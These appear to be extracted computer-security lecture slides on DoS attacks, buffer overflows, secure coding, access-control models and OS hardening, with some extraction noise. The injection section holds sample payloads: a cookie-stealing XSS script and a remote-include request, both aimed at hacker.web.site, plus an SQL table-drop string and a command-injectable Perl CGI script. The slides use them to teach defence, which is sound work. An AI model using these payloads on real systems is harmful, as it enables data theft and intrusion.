Network and Information Security Course 6
Network and Information Security Course 6
Network and Information Security Course 6
and Practice
1
Denial-of-service
• Denial of service (DoS) an action that prevents or impairs the
authorized use of networks, systems, or applications by
exhausting resources such as central processing units (CPU),
memory, bandwidth, and disk space
• Attacks (overload or invalid request services that consume
significant resources)
– network bandwidth
– system resources
– application resources
• Have been an issue for some time (25% of respondents to an
FBI survey)
2
Classic DoS attacks
• Flooding ping command
– Aim of this attack is to overwhelm the capacity of
the network connection to the target organization
– Traffic can be handled by higher capacity links on
the path, but packets are discarded as capacity
decreases
• Source of the attack is clearly identified unless
a spoofed address is used
• Network performance is noticeably affected
3
Classic DoS attacks
4
Internet Control Message Protocol
(ICMP)
• The Internet Control Message Protocol (ICMP)
is one of the main IP protocols; it is used by
network devices, like routers, to send error
messages indicating (e.g., a requested service
is not available or a host or router could not
be reached)
7
SYN spoofing
• Common DoS attack
• Attacks the ability of a server to respond to
future connection requests by overflowing the
tables used to manage them
• Thus legitimate users are denied access to the
server
• Hence an attack on system resources,
specifically the network handling code in the
operating system
8
TCP connection handshake
syn/ack pkts
y= server seq#
x= client seq#
9
SYN spoofing attack
13
Distributed DoS attacks
• Have limited volume if single source used
• Multiple systems allow much higher traffic
volumes to form a distributed DoS (DDoS)
attack
• Often compromised PC’s/workstations
– Zombies with backdoor programs installed
– Forming a botnet
• Example: Tribe Flood Network (TFN), TFN2K
– did ICMP, SYN, UDPF and ICMP floods
14
DDoS control hierarchy
Attacker sends one command to the handler zombies;
the handler forwards to other handlers, agents
15
Application-based bandwidth attacks
• Force the victim system to execute resource-
consuming operations (e.g., searches, complex
DB queries)
• VoIP Session Initiation Protocol (SIP) flood
(see Figure 7.5): attacker sends many INVITE
requests; major burden on the proxies
– server resources depleted while handling requests
– bandwidth capacity is consumed
16
SIP invite
scenario
• Standard protocol
for VoIP telephony
• Text-based protocol
with a syntax similar
to that of HTTP
• Two types of SIP
messages: requests
and responses
17
HTTP-based attacks
• Attempts to monopolize by sending HTTP requests that
never complete
• Eventually consumes Web server’s connection capacity
• Utilizes legitimate HTTP traffic
• Spidering: Bots starting from a given HTTP link and
following all links on the provided Web site in a recursive
way
• Existing intrusion detection and prevention solutions that
rely on signatures to detect attacks will generally not
recognize Slowloris
18
Reflection attacks
• Attacker sends packets to a known service on the
intermediary with a spoofed source address of the
actual target system
• When intermediary responds, the response is sent to
the target
• “Reflects” the attack off the intermediary (reflector)
• Goal is to generate enough volumes of packets to flood
the link to the target system without alerting the
intermediary
• The basic defense against these attacks is blocking
spoofed-source packets
19
Reflection attacks
20
Reflection attacks
• Further variation creates a self-contained loop
between intermediary and target (attacker spoofs
using port 7 requiring echoes)
• Fairly easy to filter and block
21
DNS reflection attacks
22
DNS amplification attacks
• Use packets directed at a legitimate DNS server
as the intermediary system
• Attacker creates a series of DNS requests
containing the spoofed source address of the
target system
• Exploit DNS behavior to convert a small request
to a much larger response (amplification)
• Target is flooded with responses
• Basic defense against this attack is to prevent the
use of spoofed source addresses
23
Amplification attacks
24
Four lines of defense against DDoS
attacks
• Attack prevention and preemption (before
attack)
• Attack detection and filtering (during the
attack)
• Attack source traceback and identification
(uring and after the attack)
• Attack reaction (after the attack)
25
DoS attack prevention
• Block spoofed source addresses
– On routers as close to source as possible
• Filters may be used to ensure path back to the claimed source
address is the one being used by the current packet
– Filters must be applied to traffic before it leaves the ISP’s network or
at the point of entry to their network
• Use modified TCP connection handling code
– Cryptographically encode critical information in a cookie that is sent as
the server’s initial sequence number
– Legitimate client responds with an ACK packet containing the
incremented sequence number cookie
– Drop an entry for an incomplete connection from the TCP connections
table when it overflows
26
Attack prevention
• Rate controls in upstream distribution nets
– On specific packets types e.g. some ICMP, some
UDP, TCP/SYN
– Impose limits
• Use modified TCP connection handling
– Server sends SYN cookies when table full
(reconstruct table data from the cookie from legit
clients)
– Sr selective or random drop when table full
27
Attack prevention
• Block IP directed broadcasts
• Block suspicious services and combinations
• Manage application attacks with a form of
graphical puzzle (captcha) to distinguish
legitimate human requests
• Use mirrored and replicated servers when
high-performance and reliability is required
28
Responding to attacks
• Good incidence response plan
– Details on how to contact technical personal for
ISP
– Needed to impose traffic filtering upstream
– Details of how to respond to the attack
• Implement anti-spoofing, directed broadcast,
and rate limiting filters
• Ideally have network monitors and IDS to
detect and notify abnormal traffic patterns
29
Responding to attacks
• Identify type of attack
– Capture and analyze packets
– Design filters to block attack traffic upstream
– Or identify and correct system/application bug
• Have ISP trace packet flow back to source
– May be difficult and time consuming
– Necessary if planning legal action
• Implement contingency plan
– Switch to alternate backup servers
– Commission new servers at a new site with new
addresses
• Update incident response plan
30
Summary
• Introduced denial of service (DoS) attacks
• Classic flooding and SYN spoofing attacks
• ICMP, UDP, TCP SYN floods
• Distributed denial of service (DDoS) attacks
• Reflection and amplification attacks
• Defenses against DoS attacks
• Responding to DoS attacks
31
Computer Security: Principles
and Practice
next_tag(str1);
Example gets(str2);
if (strncmp(str1, str2, 8) == 0)
valid = TRUE;
printf("buffer1: str1(%s), str2(%s),
valid(%d)\n", st r1, str2, valid);
}
$ cc -g -o buffer1 buffer1.c
$ ./buffer1
START
buffer1: str1(START), str2(START), valid(1)
$ ./buffer1
EVILINPUTVALUE
buffer1: str1(TVALUE),
str2(EVILINPUTVALUE), valid(0)
$ ./buffer1
BADINPUTBADINPUT
buffer1: str1(BADINPUT),
str2(BADINPUTBADINPUT), valid(1)
Buffer Memory Before After Contains
Overflow
Address gets(str2) gets(str2) Value of
. . . . . . . . . . . .
. . . . . . . . . . . .
Another illustration
Buffer Overflow Attacks
• To exploit a buffer overflow an attacker
– must identify a buffer overflow vulnerability in
some program
• inspection, tracing execution, fuzzing tools
– understand how buffer is stored in memory and
determine potential for corruption
A Little Programming Language History
• At machine level all data an array of bytes
– interpretation depends on instructions used
• Modern high-level languages have a strong notion of type and
valid operations
– not vulnerable to buffer overflows
– does incur overhead, some limits on use
• C and related languages have high-level control structures,
but allow direct access to memory
– hence are vulnerable to buffer overflow
– have a large legacy of widely used, unsafe, and hence vulnerable code
Function Calls and Stack
Frames
Stack frame:
buffer3 done
Segmentation fault (core dumped)
Common Unsafe C Functions
Unix Shellcode
• In Windows terms: command.exe
Unix Shellcode
Shellcode
• code supplied by attacker
– often saved in buffer being overflowed
– traditionally transferred control to a shell
• machine code
– specific to processor and operating system
– traditionally needed good assembly language skills
to create
– more recently have automated sites/tools
Buffer Overflow Defenses
• Buffer overflows are widely exploited
• Large amount of vulnerable code in use
– despite cause and countermeasures known
• Two broad defense approaches
– compile-time - harden new programs
– run-time - handle attacks on existing programs
Compile-Time Defenses:
Programming Language
• Use a modern high-level languages with
strong typing
– not vulnerable to buffer overflow
– compiler enforces range checks and permissible
operations on variables
• Do have cost in resource use
• And restrictions on access to hardware
– so still need some code in C like languages
Compile-Time Defenses:
Safe Coding Techniques
• If using potentially unsafe languages eg C
• Programmer must explicitly write safe code
– by design with new code
– extensive after code review of existing code, (e.g.,
OpenBSD)
• Buffer overflow safety a subset of general safe
coding techniques
• Allow for graceful failure (know how things may go wrong)
– check for sufficient space in any buffer
Compile-Time Defenses:
Language Extension, Safe Libraries
• Proposals for safety extensions (library
replacements) to C
– performance penalties
– must compile programs with special compiler
• Several safer standard library variants
– new functions, e.g. strlcpy()
– safer re-implementation of standard functions as a
dynamic library, e.g. Libsafe
Compile-Time Defenses:
Stack Protection
• Stackgaurd: add function entry and exit code to check stack
for signs of corruption
– Use random canary
– e.g. Stackguard, Win/GS, GCC
– check for overwrite between local variables and saved frame pointer
and return address
– abort program if change found
– issues: recompilation, debugger support
• Or save/check safe copy of return address (in a safe, non-
corruptible memory area), e.g. Stackshield, RAD
Run-Time Defenses:
Non Executable Address Space
• Many BO attacks copy machine code into buffer and xfer ctrl
to it
• Use virtual memory support to make some regions of memory
non-executable (to avoid exec of attacker’s code)
– e.g. stack, heap, global data
– need h/w support in MMU
– long existed on SPARC/Solaris systems
– recent on x86 Linux/Unix/Windows systems
• Issues: support for executable stack code
Run-Time Defenses:
Address Space Randomization
• Manipulate location of key data structures
– stack, heap, global data: change address by 1 MB
– using random shift for each process
– have large address range on modern systems
means wasting some has negligible impact
• Randomize location of heap buffers and
location of standard library functions
Run-Time Defenses:
Guard Pages
• Place guard pages between critical regions of
memory (or between stack frames)
– flagged in MMU (mem mgmt unit) as illegal
addresses
– any access aborts process
• Can even place between stack frames and
heap buffers
– at execution time and space cost
Other Overflow Attacks
• have a range of other attack variants
– stack overflow variants
– heap overflow
– global data overflow
– format string overflow
– integer overflow
• more likely to be discovered in future
• some cannot be prevented except by coding
to prevent originally
Summary
• Introduced basic buffer overflow attacks
• Stack buffer overflow details
• Shellcode
• Defenses
– compile-time, run-time
• Other related forms of attack (not covered)
– replacement stack frame, return to system call,
heap overflow, global data overflow
Computer Security: Principles
and Practice
1
Software Quality vs Security
• Software reliability
– accidental failure of program
– from theoretically random unanticipated input
– improve using structured design and testing
– not how many bugs, but how often triggered
• Software security is related
– but attacker chooses input distribution,
specifically targeting buggy code to exploit
– triggered by often very unlikely inputs
– which common tests don’t identify
2
Defensive Programming
• A form of defensive design to ensure
continued function of software despite
unforeseen usage
• Requires attention to all aspects of program
execution, environment, data processed
• Also called secure programming
• Assume nothing, check all potential errors
• Must validate all assumptions
• “Murphy’s Laws” effect 3
Abstract Program Model
4
Security by Design
• Security and reliability common design goals
in most engineering disciplines
– society not tolerant of bridge/plane etc failures
• Software development not as mature
– much higher failure levels tolerated
• Despite having a number of software
development and quality standards
– main focus is general development lifecycle
– increasingly identify security as a key goal
5
Handling Program Input
• Incorrect handling a very common failing
• Input is any source of data from outside
– data read from keyboard, file, network
– also execution environment, config data
• Must identify all data sources
• And explicitly validate assumptions on size
and type of values before use
6
Input Size & Buffer Overflow
• Often have assumptions about buffer size
– eg. that user input is only a line of text
– size buffer accordingly (512 B) but fail to verify size
– resulting in buffer overflow
– Testing may not identify vulnerability since focus
on “normal, expected” inputs
• Safe coding treats all input as dangerous
– hence must process so as to protect program
7
Interpretation of Input
• Program input may be binary or text
– binary interpretation depends on encoding and is
usually application specific
– text encoded in a character set e.g. ASCII
– internationalization has increased variety; also
need to validate interpretation before use
• e.g. filename, URL, email address, identifier
• Failure to validate may result in an exploitable
vulnerability
8
Injection Attacks
• Flaws relating to invalid input handling which
then influences program execution
– often when passed as a parameter to a helper
program or other utility or subsystem
– input data (deliberately) influence the flow of exec
• Most often occurs in scripting languages
– encourage reuse of other programs/modules
– often seen in web CGI scripts
9
Unsafe Perl Script
1 #!/usr/bin/perl
2 # finger.cgi - finger CGI script using Perl5 CGI module
3
4 use CGI;
5 use CGI::Carp qw(fatalsToBrowser);
6 $q = new CGI; # create query object
7
8 # display HTML header
9 print $q->header,
10 $q->start_html('Finger User'),
11 $q->h1('Finger User');
12 print "<pre>";
13
14 # get name of user and display their finger details
15 $user = $q->param("user");
16 print `/usr/bin/finger -sh $user`;
17
18 # display HTML footer
19 print "</pre>";
20 print $q->end_html;
10
Safer Script
• The above is an example of command injection
• Counter attack by validating input
– compare to pattern that rejects invalid input
– see example additions to script:
14 # get name of user and display their finger details
15 $user = $q->param("user");
16 die "The specified user contains illegal characters!"
17 unless ($user =~ /^\w+$/);
18 print `/usr/bin/finger -sh $user`;
11
SQL Injection
• Another widely exploited injection attack
• When input used in SQL query to database
– similar to command injection
– SQL meta-characters are the concern
– must check and validate input for these
$name = $_REQUEST['name'];
Bob’ drop table customers==
$query = “SELECT * FROM suppliers WHERE name = '" . $name . "';"
$result = mysql_query($query);
$name = $_REQUEST['name'];
$query = “SELECT * FROM suppliers WHERE name = '" .
mysql_real_escape_string($name) . "';"
$result = mysql_query($query);
12
Code Injection
• Further variant
• Input includes code that is then executed
– see PHP remote code injection vulnerability
• variable + global field variables + remote include
– this type of attack is widely exploited
<?php
include $pat h . 'functions.ph p';
include $pat h . 'data/prefs.php';
GET /calenda r/e mbe d/d ay. php ?path=http:/ /ha cke r.w eb. site /ha ck. txt ?&c md=ls
13
Cross Site Scripting Attacks
• Attacks where input from one user is later
output to another user
• XSS commonly seen in scripted web apps
– with script code included in output to browser
– any supported script, e.g. Javascript, ActiveX
– assumed to come from application on site
• XSS reflection
– malicious code supplied to site
– subsequently displayed to other users
14
XSS Attacks
http://msdn.microsoft.com/en-us/library/aa973813.aspx
15
An XSS Example
• Guestbooks, wikis, blogs etc
• Where comment includes script code
– e.g. to collect cookie details of viewing users
• Need to validate data supplied
– including handling various possible encodings
• Attacks both input and output handling
Thanks for this information, its great!
<script>document.location='http://hacker.web.site/cookie.cgi?'+
document.cookie</script>
16
Validating Input Syntax
• To ensure input data meets assumptions
– e.g. is printable, HTML, email, userid etc
• Compare to what is known acceptable
• not to known dangerous
– as can miss new problems, bypass methods
• Commonly use regular expressions
– pattern of characters describe allowable input
– details vary between languages
• Bad input either rejected or altered
17
Validating Numeric Input
• May have data representing numeric values
• Internally stored in fixed sized value
– e.g. 8, 16, 32, 64-bit integers or 32, 64, 96 float
– signed or unsigned
• Must correctly interpret text form and then
process consistently
– have issues comparing signed to unsigned
– e.g. large positive unsigned is negative signed
– could be used to thwart buffer overflow check
19
Input Fuzzing
• Powerful testing method using a large range
of randomly generated inputs
– to test whether program/function correctly
handles abnormal inputs
– simple, free of assumptions, cheap
– assists with reliability as well as security
• Can also use templates to generate classes of
known problem inputs
– could then miss bugs, so use random as well
20
Writing Safe Program Code
• Next concern is processing of data by some
algorithm to solve required problem
• Compiled to machine code or interpreted
– have execution of machine instructions
– manipulate data in memory and registers
• Security issues:
– correct algorithm implementation
– correct machine instructions for algorithm
– valid manipulation of data
21
Correct Algorithm Implementation
• Sssue of good program development to
correctly handle all problem variants
– c.f. Netscape random number bug
– supposed to be unpredictable, but wasn’t
• When debug/test code left in production
– used to access data or bypass checks
– c.f. Morris Worm exploit of sendmail
• Hence care needed in design/implement
22
Correct Machine Language
• Ensure machine instructions correctly
implement high-level language code
– often ignored by programmers
– assume compiler/interpreter is correct
– c.f. Ken Thompson’s paper
• Requires comparing machine code with
original source
– slow and difficult
– is required for higher Common Criteria EAL’s
23
Correct Data Interpretation
• Data stored as bits/bytes in computer
– grouped as words, longwords etc
– interpretation depends on machine instruction
• Languages provide different capabilities for
restricting/validating data use
– strongly typed languages more limited, safer
– others more liberal, flexible, less safe e.g. C
• Strongly typed languages are safer
24
Correct Use of Memory
• Issue of dynamic memory allocation
– used to manipulate unknown amounts of data
– allocated when needed, released when done
• Memory leak occurs if incorrectly released
• Many older languages have no explicit support
for dynamic memory allocation
– rather use standard library functions
– programmer ensures correct allocation/release
• Modern languages handle automatically 25
Race Conditions in
Shared Memory
• When multiple threads/processes access
shared data / memory
• Unless access synchronized can get corruption
or loss of changes due to overlapping accesses
• So use suitable synchronization primitives
– correct choice & sequence may not be obvious
• Have issue of access deadlock
26
Interacting with O/S
• Programs execute on systems under O/S
– mediates and shares access to resources
– constructs execution environment
– with environment variables and arguments
• Systems have multiple users
– with access permissions on resources / data
• Programs may access shared resources
– e.g. files
27
Environment Variables
• Set of string values inherited from parent
– can affect process behavior
– e.g. PATH, IFS, LD_LIBRARY_PATH
• Process can alter for its children
• Another source of untrusted program input
• Attackers use to try to escalate privileges
• Privileged shell scripts targeted
– very difficult to write safely and correctly
28
Vulnerable Compiled Programs
• If invoke other programs can be vulnerable to
PATH variable manipulation
– must reset to “safe” values
• If dynamically linked may be vulnerable to
manipulation of LD_LIBRARY_PATH
– used to locate suitable dynamic library
– must either statically link privileged programs
– or prevent use of this variable
30
Use of Least Privilege
• Exploit of flaws may give attacker greater
privileges - privilege escalation
• Hence run programs with least privilege
needed to complete their function
– determine suitable user and group to use
– whether grant extra user or group privileges
• latter preferred and safer, may not be sufficient
– ensure can only modify files/dirs needed
• otherwise compromise results in greater damage
• recheck these when moved or upgraded 31
Secure File Shredder
patterns = [10101010, 01010101, 11001100, 00110011, 00000000, 11111111, … ]
open file for writing
for each pattern
seek to start of file
overwrite file contents with pattern
close file
remove file
34
Race Conditions
• Programs may access shared resources
– e.g. mailbox file, CGI data file
• Need suitable synchronization mechanisms
– e.g. lock on shared file
• Alternatives
– lockfile - create/check, advisory, atomic
– advisory file lock - e.g. flock
– mandatory file lock - e.g. fcntl, need release
• later mechanisms vary between O/S
• have subtle complexities in use
35
Safe Temporary Files
• Many programs use temporary files
• Often in common, shared system area
• Must be unique, not accessed by others
• Commonly create name using process ID
– unique, but predictable
– attacker might guess and attempt to create own
between program checking and creating
• Secure temp files need random names
– some older functions unsafe
– must need correct permissions on file/dir
36
Summary
• Discussed software security issues
• Handling program input safely
– size, interpretation, injection, XSS, fuzzing
• Writing safe program code
– algorithm, machine language, data, memory
• Interacting with O/S and other programs
– ENV, least privilege, syscalls / std libs, file lock,
temp files, other programs
• Handling program output
39
Computer Security: Principles
and Practice
1
Confidentiality Policy
• Goal: prevent the unauthorized disclosure of
information
– Deals with information flow
– Integrity incidental
• Multi-level security models are best-known
examples
– Bell-LaPadula Model basis for many, or most, of
these
2
Formal Security Models
• Problems involved both design and
implementa@on led to development of formal
security models
– IniCally funded by US Department of Defense
– Bell-LaPadula (BLP) model very influenCal
3
Bell-LaPadula (BLP) Model
• Security levels arranged in linear ordering
– Top Secret: highest
– Secret
– Confidential
– Unclassified: lowest
• Levels consist of security clearance L(s)
• Objects have security classification L(o)
4
Bell-LaPadula (BLP) Model
• Developed in 1970s
• Formal model for access control
• Subjects and objects are assigned a security class
• Form a hierarchy and are referred to as security levels
• A subject has a security clearance
• An object has a security classification
• Security classes control the manner by which a subject may
access an object
5
A BLP Example
Security level Subject Object
Top Secret Tamara Personnel Files
Secret Samuel E-Mail Files
Confidential Claire Activity Logs
Unclassified James Telephone Lists
• Tamara can read all files
• Claire cannot read Personnel or E-Mail Files
• James can only read Telephone Lists
Slide #5-6
Access Privileges
7
Multilevel Security
8
BLP Formal Description
• Based on current state of system (b, M, f, H):
– Current access set b (subj, objs, access-mode); it is
the current access (not permanent)
– Access matrix M (same as before)
– Level function f: assigns sec level to each subj and
obj; a subject may operate at that or lower level
– Hierarchy H: a directed tree whose nodes are objs:
• Sec level of an obj must dominate (must be greater
than) its parents
9
BLP Properties
• Three BLP properties: (c = current)
1. ss-property: (Si, Oj, read) has fc(Si) ≥ fo(Oj)
2. *-property: (Si, Oj, append) has fc(Si) ≤ fo(Oj) and
(Si, Oj, write) has fc(Si) = fo(Oj)
3. ds-property: (Si, Oj, Ax) implies Ax Î M[Si,Oj]
• BLP give formal theorems
– Theoretically possible to prove system is secure
10
BLP Operations
1. get access: add (subj, obj, access-mode) to b
– used by a subj to initiate an access to an object
2. release access: remove (subj, obj, access-mode)
3. change object level
4. change current level
5. give access permission: Add an access mode to M
– used by a subj to grant access to on an obj
6. rescind access permission: reverse of 5
7. create an object
8. delete a group of objects
11
BLP Example
• A role-based access control system
• Two users: Carla (student) and Dirk (teacher)
– Carla (Class: s)
– Dirk (Class: T); can also login as a students thus
(Class: s)
• A student role has a lower security clearance
• A teacher role has a higher security clearance
12
BLP Example
Dirk creates f1; Carla creates f2
Carla can read/write to f2
Carla can’t read f1
Dirk can read/write f1
Dirk can read f2 (if perm)
Dirk can read/write f2 only as a stu
13
BLP Example
cont.
Dirk as a teacher creates exam (f4)
Must log in as a teacher to read
template
14
BLP Example
cont.
Carla writes answers to f5 (at c1-t level)
-- An example of write up
Dirk can read f5
15
MULTICS Example
16
BLP Categories
• Expand the model to add categories to each
security classification
• Objects placed in multiple categories
• Based on “need to know” principle
• Example categories: NUC, EUR, US
– One can have access to any of these: none, {NUC},
{EUR}, {US}, {NUC, EUR}, … {NUC, EUR, US}
– Categories form a lattice under the “subset of”
operation
17
The Lattice Hierarchy
Slide #5-18
BLP Dominate (dom) Relationship
Slide #5-19
An Example of dom Relationship
• George is cleared into security level (S, {NUC,
EUR})
• DocA is classified as (C, {NUC})
• DocB is classified as (S, {EUR, US})
• DocC is classified as (S, {EUR})
• George dom DocA
• George ¬dom DocB
• George dom DocC
Slide #5-20
Reading Information - New
• Information flows up, not down
– “Reads up” disallowed, “reads down” allowed
• Simple Security Condition
– Subject s can read object o iff L(s) dom L(o) and s
has permission to read o
• Note: combines mandatory control (relationship of
security levels) and discretionary control (the required
permission)
– Sometimes called “no reads up” rule
Slide #5-21
Writing Information - New
• Information flows up, not down
– “Writes up” allowed, “writes down” disallowed
• *-Property (Step 2)
– Subject s can write object o iff L(o) dom L(s) and s
has permission to write o
• Note: combines mandatory control (relationship of
security levels) and discretionary control (the required
permission)
– Sometimes called “no writes down” rule
Slide #5-22
Biba Integrity Model
• Various models dealing with integrity
• Strict integrity policy:
– Simple integrity: modify only if I(S) ≥ I(O)
– Integrity confinement: read only if I(S) ≤ I(O)
– Invocation property: invoke/comm only if I(S1)
≥ I(S2)
23
Biba Integrity Model
• Simple integrity: modify only if I(S) ≥ I(O)
• Integrity confinement: read only if I(S) ≤ I(O)
• Invocation property: invoke/comm only if
I(S1) ≥ I(S2)
24
Clark-Wilson Integrity Model
• Two concepts
– Well-formed transactions: a user can manipulate data in
constrained ways
– Separation of duty: one can create a transaction but not
execute it
• CDI: constrained data items (loan app; checks)
• UDI: unconstrained items
• IVPs: procedures that assure all CDIs conform to
integrity/consistency rules
• TPs: transactions that change CDIs
• Very practical; used in commercial world
25
Certified and Enforcement Rules
• C1: IVPs must ensure that all CDIs are in valid
states
• C2: All TPs must be certified (must take a CDI
from a valid state to a valid final state)
– (Tpi, CDIa, CDIb, CDIc, …)
• E1: The system must maintain a list of
relations specified in C2
• E2: The system must maintain a list of (User,
Tpi, (CDIa, CDIb, …))
26
Certified and Enforcement Rules
• C3: The list of relations in E2 must be certified
to meet separation of duties
• E3 The system must authenticate each user
when executing a TP
• C4: All TPs must be certified
• C5: Any TP that takes UDI as in input value
must be certified to perform valid transaction
• E4: Only the agent permitted to certify entitles
is allowed to do so
27
Clark-Wilson Integrity Model
Certification (C) and
Enforcement (E) rules
28
The Chinese Wall Model
• Hybrid model: addresses integrity and confidentiality
• Addresses conflict of interest (CI or CoI)
• Model elements
– subjects: active entities interested in accessing protected
objects
– information
• objects: individual data items, each about a corp
• datasets (DS): all objects concerning one corp
• CI class: datasets whose corp are in competition (conflict of
interest or CI)
– access rules: rules for reading/writing data
29
The Chinese Wall Model
• Not a true multilevel secure model
– the history of a subject’s access determines access
control
• Subjects are only allowed access to info that is
not held to conflict with any other info they
already possess
• Once a subject accesses info from one
dataset, a wall is set up to protect info in
other datasets in the same CI
30
Simple sec rule (read): S can
31
CW-*-Property
s can write to o iff both of the following hold:
1. The CW-simple condition permits s to read o
2. For all unsanitized objects o¢, if s can read o¢,
then CD (o¢) = CD (o)
– All s can read are either within the same CD, or sanitized
Alice Bob Neither Alice nor bob can write
Bank
Gasoline
32
How Does Information Flow?
• With the two conditions (CW simple security
condition and CW *-property) in place, how can
information flow around the system?
• Main Results
– In each COI class (e.g. Bank), a subject can only read
objects in a single CD (e.g. Citibank)
– At least n subjects are required to access all objects
in a COI class with totally n CDs
33
How Does Information Flow? (Cont’d)
• Information flows from o to o’ if s reads o and writes o’
• information in an unsanitized object can only flow inside that
CD; information in sanitized objects can flow freely
o3 sanitized
o1 o2 o3
o1 o2 o3 unsanitized
34
Compare CW to Bell-LaPadula
• CW is based on access history, BLP is history-
less
• BLP can capture CW state at any time, but
cannot track changes over time
– BLP security levels would need to be updated each
time an access is allowed
35
Trusted Systems
• Trusted system: A system believed to enforce a given set of
attributes to a stated degree of assurance
• Trustworthiness: Assurance that a system deserves to be
trusted, such that the trust can be guaranteed in some
convincing way, such as through formal analysis or code
review
• Trusted computer system: A system that employs sufficient
hardware and software assurance measures to allow its use
for simultaneous processing of a range of sensitive or
classified information
36
Reference Monitors
(Trusted Systems)
37
Trojan Horse Defence
38
MLS Security for Role-Based Access
Control
• Role-based access control (RBAC) can
implement BLP MLS rules given:
– Security constraints on users:
For all users u, sec-level(u) is defined
– Constraints on read/write permissions:
All objects have a defined r and w access permission
– Read and write level role access definitions
Each role r defined has r-level(r) and w-level(r)
– Constraint on user-role assignments
Clearance of a user must dominate the r-level and be dominated by the
w-level
40
MLS in Database Security
• Classification by table and column
41
MLS in Database Security
• Classification by row and cell
42
Database Security: Read Access
43
Database Security: Write Access
• Enforce *-security rule (no write down)
• Have problem if a low clearance user wants to
insert a row with a primary key that already
exists in a higher level row:
– Can reject, but user knows row exists
– Can replace, compromises data integrity
– Polyinstantiation and insert multiple rows with same key, creates conflicting
entries but plausible (and implemented in many DBs)
46
Common Criteria (CC)
• ISO standards for security requirements and
defining evaluation criteria to give:
– Greater confidence in IT product security
– Formal actions during process of:
• development using secure requirements
• evaluation confirming meets requirements
• operation in accordance with requirements
• Evaluated products are listed for use
52
CC Requirements
• Have a common set of potential security
requirements for use in evaluation
• Target of evaluation (TOE) refers
product/system subject to evaluation
• Functional requirements
– define desired security behavior
• Assurance requirements
– that security measures effective correct
• Requirements: see pages 471-472
53
Assurance
• “Degree of confidence that the security
controls operate correctly and protect the
system as intended”
• Applies to:
– product security requirements, security policy,
product design, implementation, operation
• various approaches analyzing, checking,
testing various aspects
57
Common Criteria (CC) Assurance
Levels
• EAL 1: functionally independently tested
• EAL 2: structurally tested (includes review of design and
vulnerability analysis)
• EAL 3: methodically tested and checked (design testing)
• EAL 4: methodically designed, tested, and reviewed (high level
to low level vulnerability analysis)
• EAL 5: semiformally designed and tested
• EAL 6: semiformally verified design and tested
• EAL 7: formally verified design and tested (formal analysis and
formally showing correspondence)
58
Evaluation Parties & Phases
• Evaluation parties:
– sponsor - customer or vendor
– developer - provides evidence for evaluation
– evaluator - confirms requirements satisfied
– certifier - agency monitoring evaluation process
• Phases:
– preparation (initial contact)
– conduct of evaluation (structured process)
– conclusion (final evaluation)
• Government agency regulates: NIST, NSA jointly operate
Common Criteria Eval and Validation Scheme (US CCEVS)
60
Summary
• Bell-LaPadula security model
• other models
• Reference monitors & trojan horse defence
• multilevel secure RBAC and databases
• Trusted platform module
• Common criteria
• Assurance and evaluation
61
Computer Security: Principles
and Practice
Chapter 11: Operating System Security
1
OS Hardening Measures
3
System Security Planning
• The first step in deploying a new system is
planning
– Plan needs to identify appropriate personnel and
training to install and manage the system
– Planning process needs to determine security
requirements for the system, applications, data,
and users
• Aim: maximize security while minimizing costs
4
System Security Planning Process
The purpose of the system, Who will administer the Additional security
the type of information system, and how they (firewalls, anti-virus or
stored, the applications and will manage the system other malware
services provided, and their (via local or remote protection mechanisms,
security requirements access) and logging, …)
5
Operating Systems Hardening
• First critical step in securing a system is to secure the
base operating system
• Basic steps
– Install and patch the operating system
– Harden and configure the operating system to adequately
address the identified security needs of the system
– Install and configure additional security controls, such as
anti-virus, host-based firewalls, and intrusion detection
system (IDS)
– Test the security of the basic operating system to ensure
that the steps taken adequately address its security needs
6
Initial Setup and Patching
Should stage and
validate all
patches on the
Initial installation test systems
System security should install the Overall boot before deploying
begins with the minimum process must
necessary for the also be secured them in
installation of production
the operating desired system
system
7
Remove Unnecessary Services
• if fewer software • when performing the initial
packages are available installation the supplied
defaults should not be used
to run the risk is
– default configuration is set to
reduced maximize ease of use and
• system planning process functionality rather than
security
should identify what is – if additional packages are
actually required for a needed later they can be
given system installed when they are
required
8
Configure Users and Privileges
• Not all users with access to • System planning process should
a system will have the same consider:
– categories of users on the system
access to all data and
– privileges they have
resources on that system – types of information they can
• Elevated privileges should access
be restricted to only those • Default accounts included as part
users that require them, of the system installation should
be secured
and then only when they
– those that are not required should be
are needed to perform a either removed or disabled
task – policies that apply to authentication
credentials configured
9
Configure Resource Controls
• Once the users and groups are defined, appropriate
permissions can be set on data and resources
• Many of the security hardening guides provide lists of
recommended changes to the default access
configuration
• Further security possible by installing and configuring
additional security tools:
– Anti-virus software
– Host-based firewalls
– IDS or IPS software
– Application white-listing
10
System Testing
• Final step in the process of initially securing the
base operating system is security testing
– Goal: Ensure the previous security configuration steps
are correctly implemented
• Checklists are included in security hardening
guides
• There are programs specifically designed to:
– Review a system to ensure that a system meets the
basic security requirements
– Scan for known vulnerabilities and poor configuration
practices
11
Application Configuration
• May include:
– Creating and specifying appropriate data storage areas for
application
– Making appropriate changes to the application or service
default configuration details
• Some applications or services may include:
– Default data, scripts, user accounts
• Of particular concern with remotely accessed services
such as Web and file transfer services
– Risk from this form of attack is reduced by ensuring that
most of the files can only be read, but not written, by the
server
12
Encryption Technology
A key enabling
technology that
may be used to
Cryptograph
secure data both If secure ic file
in transit and Must be network systems are
when stored configured services are another use
provided using
and SSH, of
appropriate If secure network appropriate encryption
cryptographic services are server and
keys created, provided using TLS client keys
signed, and or IPsec suitable must be
secured public and private created
keys must be
generated for
each of them
13
Security Maintenance
• Process of maintaining security is continuous
• Security maintenance includes:
– Monitoring and analyzing logging information
– Performing regular backups
– Recovering from security compromises
– Regularly testing system security
– Using appropriate software maintenance
processes to patch and update all critical software,
and to monitor and revise configuration as needed
14
Logging
15
Data Backup and Archive
Performing regular Backup Archive Needs and policy
backups of data is a relating to backup
critical control that and archive should
assists with The process of be determined
maintaining the retaining copies of during the system
integrity of the system data over extended
periods of time in planning stage
and user data order to meet legal and
operational
requirements to access
past data
Kept online or
offline
Stored locally or
transported to a
remote site
• Trade-offs include
ease of
implementation and
cost versus greater
security and
robustness against
different threats
16
Linux/Unix Security: Patch/Configs
• Patch management
– keeping security patches up to date is a widely recognized and
critical control for maintaining security
– application and service configuration
– most commonly implemented using separate text files for each
application and service
– generally located either in the /etc directory or in the
installation tree for a specific application
– individual user configurations that can override the system
defaults are located in hidden “dot” files in each user’s home
directory
– most important changes needed to improve system security are
to disable services and applications that are not required
17
Linux/Unix Security
• Users, groups, and permissions
– access is specified as gran?ng read, write, and execute
permissions to each of owner, group, and others for
